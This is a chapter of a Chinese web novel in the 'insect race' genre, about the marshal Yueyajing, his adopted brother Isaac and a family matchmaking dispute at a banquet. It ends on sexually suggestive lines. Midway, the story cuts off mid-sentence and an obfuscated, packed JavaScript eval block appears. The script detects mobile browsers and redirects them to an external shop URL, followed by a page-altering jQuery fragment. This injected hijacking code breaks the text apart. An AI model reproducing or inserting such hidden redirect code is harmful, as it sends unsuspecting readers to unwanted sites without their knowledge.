雄虫的笑,过于刺眼,青春明媚,绿眸深邃,弯弯如新月,一张脸本就过分好看的拟人,导致那双眼睛看谁都透着一股深情而不自知的沉溺。
约雅敬没看他,也没回答他,看似神态冷静自如,实在心里燃起熊熊烈火,似乎要把五脏六腑烧干。
如果是亲弟弟,绝不会有这样的煎熬,就因为不是亲弟弟,还是高等雄虫,处于雄虫一生中最黄金的年纪,才会让雌虫这样焦躁不安。
谁都没把以撒的话放在心上,碎嘴雄虫目无尊长已经成了一种习惯,导致他当着家属虫的面打趣约雅敬,都没有虫当回事,只是他亲口说出不是亲生的这种话,让两位父亲心里有了一点膈应,除此之外再没什么。
反倒是睚迩在下了飞船后,看到管家把约雅敬和耶罗罕等虫接进去,以撒在外面抽烟便没跟上,睚迩让管家别管他和以撒,伺候好公爵府的其他虫就好。
睚迩内心的疑惑和震惊都没消退,追着他问:“以撒,你和元帅真不是亲兄弟,还是你编的?”
以撒在庄园外的小路上,往绿化泥土里掸了掸烟灰,一口甜腻的烟吹在睚迩脸上:“骗你干什么,你哥应该也知道。”
睚迩有些不适:“你这一路上的表现,让我总觉得你喜欢你的元帅哥哥。”
以撒笑了声,唇角叼上烟,眯着眼看了睚迩一眼:“喜欢我哥,那是虫之常情,我和我哥经常开玩笑,你别想太多了。”
以撒当然想宣誓主权,但现在还不是时候,他要把雌兄拿下之后再说,免得出什么事故。
公爵府一家的到来将宴会推到了一个史无前例的高端,庄园里的所有虫都把目光投放在了这一家高级虫身上。
睚迩和以撒一进来,就收获了很多炙热的目光,雌虫对雄虫的出现十分敏锐,之前来的雄虫不是大腹便便上了年纪,就是丑陋不堪矮小虚弱,脸部皮肤粗糙不已,辣眼睛。
很难看到长相和身材都保持好的雄虫,雌虫们兴致缺缺地坐成一桌玩着游戏,等待中午的贺寿和开席。
两只年轻雄虫的身影吸引了所有雌虫的注意力,尤其以撒,大概是庄园里等级最高的雄虫,他一进来就引起了骚动,不比去军部吸引军雌的注意力弱。
“姐妹快看,高级雄虫!”
“哦我的虫神呐,活了二十年了终于看到高级雄虫长什么样了!”
“兄弟兄弟,快看,那就是公爵府的雄虫少爷以撒。”
“听说过,没想到本虫比传言中长得还美观,身材好好啊。”
“怪不得名声那么大,我要是这只雄虫,我能横到外太空去。”
“今天铁定要便宜艾默生家的雌虫大少爷了,羡慕这些有权有势的雌虫,吃得这么好!”
“嫉妒了,呜呜呜,高级雄虫让我摸一摸也好,好漂亮的小可爱。”
“我想去要他他的联系方式,不知道这个方法可行不可行。”
“没看到他哥也来了吗?大元帅约雅敬阁下,场面这么隆重,肯定是来给雄虫少爷相亲的,一家虫都来了。”
“荷西阿少爷到底受过什么苦,连这么高级的雄虫都唾手可得。”
“旁边那只雄虫是艾默生家的雄虫少爷睚迩,本身长得也不错,但在以撒面前真的黯然失色,高等级就是不一样。”
耶罗罕和约雅敬被请进去见了艾默生家的家主雄虫布兰登以及雌虫家主卡梅伦,相互祝贺寒暄之后,和大家的话题也都围绕着孩子们展开,约雅敬身在高位,也没有虫敢问他的职业如何,便跳过了他。
说起了以撒,两家家长相谈甚欢,荷西阿听闻这一家来了,也在百忙之中抽出时间前来问候,只是没看到以撒。
荷西阿礼貌地给长辈们敬酒:“两位叔叔前来没带以撒?他喜欢热闹,该带过来玩玩。”
约书亚笑着接过他递的高脚杯,杯中红酒有市无价:“以撒来了,在外面跟睚迩少爷玩呢,过会儿就进来了。”
布兰登有意攀亲:“说来我这个大儿子,一向对谁都不搭理,偏偏总是提起以撒,想来是有好感的,听说以撒少爷没事的时候总喜欢去他的地下城找他,刚好他俩都没有婚姻缠身,不如就……”
耶罗罕和约书亚还没说什么,约雅敬冷着声开口了:“以撒还小,要注重学业,他才上大学,怎么能让这种事干扰他?”
红发雌虫卡梅伦看了一眼约雅敬,笑着打圆场:“元帅疼爱弟弟,这是我们都知道的事情,这雄虫嘛,以后保不准会娶多少只雌虫当老婆,我们只是想预定一个位置。”
荷西阿本来不想开口,但约雅敬好像不是很喜欢他:“元帅对我有意见,我知道,我只是行商的,就算再有钱,也入不了权势层的眼,尤其是元帅您,我没法做到让您也喜欢我,但您不喜欢我哪里,我可以改的。”
约雅敬心里憋着一股火:“我不喜欢你老打以撒的主意,这不是什么光彩的事,大少爷阅虫无数,比以撒德行好还有出息的雄虫不少,去雄保会随便花点钱就能要到雄虫的信息,为什么偏要看上以撒?大少爷可是比以撒大了六岁……”
荷西阿骨节分明的手指握成拳头又散开,心里有气但面上还得礼貌:“帝国法律没有说明比雄虫大六岁就不可以追求,我确实喜欢以撒少爷,想争取。”
约雅敬还想说什么,约书亚和耶罗罕阻止了他,约书亚笑着拍拍约雅敬的肩膀:“知道你作为兄长对弟弟未来的另一半筛选严格,但艾默生大少爷长得好,能力也不错,是只优秀的雌虫,如果他喜欢以撒,那是以撒高攀了。”
其实说的都是客套话,谁都知道家里有一只未婚高级雄虫意味着什么,况且还是公爵府。
耶罗罕也说:“让以撒和荷西阿少爷先相处相处,反正他现在也没喜欢的雌虫,我和他雌父相中的肯定不会差。”
荷西阿刚想弯腰致谢,就听到约雅敬冷声反问:“谁说他没有喜欢的雌虫?他有。”
一句话给两位父亲整不会了:“他哪有喜欢的雌虫啊?没见过,怀恩经常跟着他,也没见他跟哪只雌虫交往过密。”
约雅敬抬起一双幽深冷淡的紫瞳看着荷西阿,多少是有点挑衅的:“他没跟你们说过,但他确实有喜欢的雌虫。”
荷西阿老早就注意到了约雅敬脖颈上的抑制环,那是以撒去他店里挑选的,知道是送约雅敬,他没什么多余的想法。
可今天这位大元帅给他的感觉好奇怪,在处处为难他,针对他……
荷西阿不卑不亢地低眼看着这位来作客的雌虫:“既然以撒少爷有喜欢的雌虫,元帅不妨把他叫来问一问,况且雄虫多喜欢几只雌虫是很正常的事情,以撒少爷可以喜欢其他雌虫,也可以喜欢我,我不介意。”
布兰登也说:“是啊,一家雄虫百家求,不能让一只雌虫独占了,何况以撒等级高,基因纯,该多为虫族的生育率做出贡献。”
约书亚最清楚自己的儿子了:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730637|208944||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“哪有啊,以撒目前连恋爱都没谈过,如果大少爷喜欢他,可以追求,我们都不反对。”
耶罗罕点头:“有艾默生家当后盾,是他的福气。”
约雅敬再没说一句话,不想待了,起身就要走。
耶罗罕喊住他:“干什么去?你身份不一样,不要随意走动,危险。”
约雅敬只有一句:“我回家,待不下去了。”
一点面子都不给,让艾默生家的两位家主面子上也过不去,可是没办法,约雅敬的身份和地位摆在那里。
卡梅伦只得起身挽留:“元帅,别生气,无论成与否,都得问过以撒少爷的意见才是,给我们一个面子。”
约雅敬充耳不闻,走出了城堡,一庄园的高级虫都在看他,连路过的亚雌侍从都要行注目礼。
卡梅伦让荷西阿去追:“哎呀,千不该万不该,怎么能这个时候得罪元帅呢?快去追回来。”
以撒和睚迩正被一群雌虫少爷小姐围着,笑得可开心了,约雅敬一听以撒的声音,更生气了。
大步流星朝着停靠飞船的地方走去,恨不得用了翅膀离开这是非之地,好丢脸,他都不知道自己在干什么。
以撒发现了他,立马推开身边的雌虫,跑着去追雌兄,鲁芙丝和怀恩在飞船上没下来。
怀恩在跟雌父诉苦:“以撒不喜欢我怎么办呀爸爸,他晚上都不让我陪。”
鲁芙丝问:“他一下都没碰过你?”
怀恩抱着爸爸驾驶座的靠背,神态失落:“喜欢他的雌虫那么多,哪里看得见我呀,我可能没法嫁给他了,哪怕只是侧妻。”
鲁芙丝:“……”
约雅敬本来在气头上,又听到怀恩这话,一时间真不知道自己在气什么,谁能管得住雌虫喜欢雄虫?
不是每一只雄虫都会被这么多雌虫追求和喜欢,这不是很正常的事情吗?为什么到了以撒这里,他这么生气?
也不想上飞船了,索性出去搭乘公共飞行器回家,往回折返了几十米,就看到以撒跑了出来。
看到他后,朝他挥手:“哥!”
约雅敬眉头微微一蹙,不想理他。
以撒迈开长腿,快速小跑到他身边,金色的碎发被风吹乱,他好奇地问:“哥哥去哪里?怎么这么快就出来了?”
约雅敬没看他,端的冷静自持:“祝完寿了,我要回军部。”
以撒回头看一眼热闹的庄园:“可是宴席还没开始,宴席完了还有舞会联谊,你不参与一下再走?”
约雅敬说:“没什么意思,你回去吧,你的两位父亲给你找了只雌虫,你如愿可以和荷西阿谈恋爱了。”
以撒愣了愣,好像有点明白过来约雅敬为什么突然离开,他有点不敢问,但又想知道答案。
于是沉默了十几秒之后,以撒轻轻地往他耳根凑了凑,小声耳语:“所以你生气离开是不想让我谈恋爱?”
约雅敬只觉得雄虫温热的呼吸撒在他的耳畔,刺痛他的神经:“爱谈不谈,关我什么事?”
雄虫低声笑了一下:“当然关你事了,我是哥哥的专属雄虫,我只和哥哥谈,嗯?”
约雅敬:“……”遭了,腺体又开始发痒,他往旁边挪了两步,“大逆不道的东西。”
以撒没反驳,并未远离,反而又靠近了他,语气狎昵:“就大逆不道了,我的尾勾只想去哥哥的孕腔,不知道哥哥什么时候满足我这个愿望?”